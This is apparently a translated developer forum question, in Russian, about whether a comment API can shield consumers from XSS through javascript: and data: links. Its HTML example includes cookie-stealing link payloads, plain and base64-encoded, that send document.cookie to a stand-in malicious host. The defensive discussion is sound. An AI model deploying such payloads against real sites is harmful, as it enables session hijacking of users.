Я предоставляю API, который используется для добавления комментариев к любому другому объекту. Эти комментарии могут содержать что угодно. Этот API может быть использован любым. Как я могу по-прежнему защищать потребителей API от XSS через URI, если у меня нет контроля над реализацией внешнего интерфейса?
Я уже выполняю экранирование строк для защиты от встроенных сценариев, но, по-видимому, экранирование строк не защищает от выполнения JavaScript в ссылках. В приведенном ниже примере первая ссылка рекламирует веб-сайт конкурента, вторая ссылка крадет информацию о ваших файлах cookie, третья ссылка делает то же самое, но в кодировке base64. Вот список возможностей уклонения от фильтра XSS .
<!DOCTYPE html>
<html>
<body>
<a href="javascript:alert('Visit competitor website here!');">Test</a>
<a href="javascript:window.location.replace("https://www.maliciouswebsite.com/?cookies=" + document.cookie);">Test</a>
<a href="data:text/html;base64, PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgiaHR0cHM6Ly93d3cubWFsaWNpb3Vzd2Vic2l0ZS5jb20vP2Nvb2tpZXM9IiArIGRvY3VtZW50LmNvb2tpZSk7PC9zY3JpcHQ+">Test</a>
</body>
</html>
В большинстве случаев ссылки, написанные пользователями в комментариях, не сохраняются в виде чистого HTML в базе данных. Они либо обернуты, используя какой-то стиль, такой как MarkDown, например. [MyLink](https://www.mywebsite.com/)
или сохранены как простые ссылки, например https://www.mywebsite.com/
. Поскольку представленная пользователем строка может содержать много различных элементов, использование сопоставления с шаблоном для удаления опасных ссылок является довольно сложной задачей. Например, пользователь может добавить комментарий о JavaScript с указанием «… выберите javascript: он используется для…». Шаблон поиска «javascript:» уже будет мешать данному пользователю. Сопоставление с образцом также не сможет защитить от сценариев, закодированных в base64.
Я мог бы также добавить свойство string [] в мою сущность Comment, называемую Links, которая будет содержать все ссылки, используемые в самом комментарии, на которые затем будет ссылаться их соответствующий номер, так же, как это делает StackOverflow. В этот момент я бы знал, где искать дезинфекцию. Но я не гарантирую, что мои потребители будут следовать этому соглашению и всегда будут использовать это свойство для хранения ссылок.
Другой подход может заключаться в том, чтобы запустить фактический комментарий в среде HTML песочницы и посмотреть, содержит ли он допустимый JavaScript. Если это так, то комментарий либо полностью отклоняется, либо опасный ввод отфильтровывается. Однако на момент написания статьи я не был уверен в целесообразности этого маршрута.
Так что пока что все мои потребители не смогут договориться о соглашении о том, как ссылки отправляются в API, и гарантировать выполнение этого соглашения, которое кажется почти невозможным, ответственность за обработку потенциально опасных ссылок лежит на потребитель самого API.
Я прав в этом заключении? Или я все еще могу защитить потребителей API от XSS через URI, если у меня нет контроля над реализацией внешнего интерфейса?